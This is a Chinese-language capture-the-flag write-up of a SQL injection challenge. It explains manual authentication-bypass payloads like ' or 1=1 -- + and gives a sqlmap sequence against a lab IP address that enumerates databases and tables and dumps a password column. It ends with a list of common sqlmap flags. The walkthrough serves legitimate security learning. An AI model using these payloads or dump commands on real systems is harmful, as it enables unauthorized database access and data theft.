1、手工注入(万能密码原理)
打开链接,提示输入id并尝试绕过
尝试一下万能密码,使用逻辑语句使结果返回
构造payload
/?id=' or ''='
我们这里是以get传参的方式在前端给id传了个值,后端会对我们提交的内容进行查询
比如我们提交的是 id=123
而到后端大概会呈现出来的部分内容就是 'id=123'
会有单引号将这个内容引起来进行查询
这样我们就好理解上面payload的原理了
我们传入 id=' or ''=' 实际上到了后端大概是这样子 'id=' or ''=''
对于我们传入的四个单引号的解释:
第一个单引号,与查询时前面的单引号形成闭合;
第二个单引号,与查询时后面的单引号形成闭合;
第三和第四个单引号实际上只是使等号成立的内容,即'='
我们知道or的两边只要有一边成立,结果就为真,而 单引号=单引号 这个肯定是恒成立的
我们将 '=' 换成 1=1 也是可以的
即payload
/?id=' or '1=1
这里还有一个payload
/?id=' or 1=1 -- +
第一个单引号同样是与查询时前面的单引号形成闭合,而 --+ 起注释作用,将后面的语句注释掉
更多详细的SQL手工注入基础知识及流程可参考我前面的博客
结果一样
得到 Flag Is : cyberpeace{818e277716501adc71a98b501c4d7a99}
2、sqlmap实现
下面我们使用sqlmap来注入
关于sqlmap的介绍和使用也在前面的博客中有详细介绍,可以参考
先用sqlmap大概检查一下
sqlmap -u "http://61.147.171.105:54285/?id=1"
尝试列出所以数据库
sqlmap -u "http://61.147.171.105:54285/?id=1" --dbs
可以看到有一个名为cyber的数据库,我们指定列出它的表
列出指定数据库的表
sqlmap -u "http://61.147.171.105:54285/?id=1" -D cyber --tables
可以看到这个数据库里只有一个表,且和数据库同名
我们继续列出指定表的字段
sqlmap -u "http://61.147.171.105:54285/?id=1" -D cyber -T cyber --columns
尝试获取指定字段中的数据
sqlmap -u "http://61.147.171.105:54285/?id=1" -D cyber -T cyber -C pw --dump
拿到flag
cyberpeace{818e277716501adc71a98b501c4d7a99}
3、常用参数
总结一些sqlmap常用的参数:
-D 选择使用哪个数据库
-T 选择使用哪个表
-C 选择使用哪个列
--tables 列出当前的表
--columns 列出当前的列
--dump 获取字段中的数据
版权归原作者 kali-Myon 所有, 如有侵权,请联系我们删除。